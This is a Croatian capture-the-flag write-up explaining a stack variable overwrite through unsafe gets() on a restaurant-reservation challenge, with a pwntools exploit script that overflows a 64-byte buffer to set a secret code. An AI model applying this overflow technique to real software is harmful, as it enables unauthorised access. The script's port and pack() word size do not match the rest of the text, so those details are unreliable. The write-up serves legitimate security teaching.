Variable overwrite

Varijable definirane unutar procesa nalaze se na stogu programa. Ako napadač ima pristup stogu, omogućeno mu je preplavljivanje varijabli čime može mijenjati i tok programa ako se, recimo, ta varijabla koristi unutar uvjetnog grananja.

Tajne korneta

Opis zadatka:

https://platforma.hacknite.hr/challenges#Kupon-115

Jakov je napravio program za rezervaciju mjesta u svom restoranu. U programu je zapisao i kupon kod za besplatnu večeru. Jakov tvrdi da je trenutno nemoguće doći do njega, ali ako uspiješ smiješ ga iskoristiti.

Spoji se na program uz pomoć naredbe telnet (ako koristiš Windows) ili naredbe netcat (ako koristiš Linux):

  telnet chal.platforma.hacknite.hr 12012
		
  netcat chal.platforma.hacknite.hr 12012

Rješenje:

Iz koda zadatka vidimo da se rješenje ispisuje nakon testiranja uvjeta:

if (krivi_odgovor.tajni_kod == TOCAN_KOD){...}

To znači da je potrebno zapisati unutar varijable krivi_odgovor.tajni_kod vrijednost jednaka TOCAN_KOD-u:

#define TOCAN_KOD 0x6c32257e //Dakle vrijednost 0x6c32257e

Na liniji koja sadrži:

gets(krivi_odgovor.odgovor);

je vidljivo da se koristi nesigurna funkcija gets koja omogućuje unos proizvoljne duljine u zadanu varijablu. Zbog toga je moguće preplaviti varijablu krivi.odgovor.tajni_kod.

Varijabla krivi_odgovor je definirana kao struct odgovor čija je struktura definirana sljedećim kodom:

struct odgovor {
char odgovor[ODGOVOR_MAX]; //Gdje je ODGOVOR_MAX jednak 64
uint32_t tajni_kod;
};

Dakle, na stogu će se, krećući se prema višim adresama, nalaziti polje duljine 64 čija memorija pripada varijabli odgovor, a nakon njega 4 bajta koja pripadaju varijabli_tajni kod (uint32 = 4 bajta). Pošto je omogućen unos u polje odgovor proizvoljne duljine, a nakon njega se nalazi varijabla čija se vrijednost koristi u testiranju uvjeta za dobivanje rješenja, potrebno je preplaviti polje odgovor s 64 bajta i zatim nadodati još 4 čije su vrijednosti definirane s TOCAN_KOD.

Primjer rješenja uz pomoć PWN tools-a

PWN tools

payload.py


  from pwn import * #import pwn tools-a
  p = remote("chal.platforma.hacknite.hr",11004)
  payload = b"A"*64 #padding
  payload += pack(0x6c32257e,40) #naredba pack formatira unos s little-endian zapisom
  payload += b"\n" #prekid veze
  p.writeline(payload)
  answer = p.readall()
  print(answer.decode())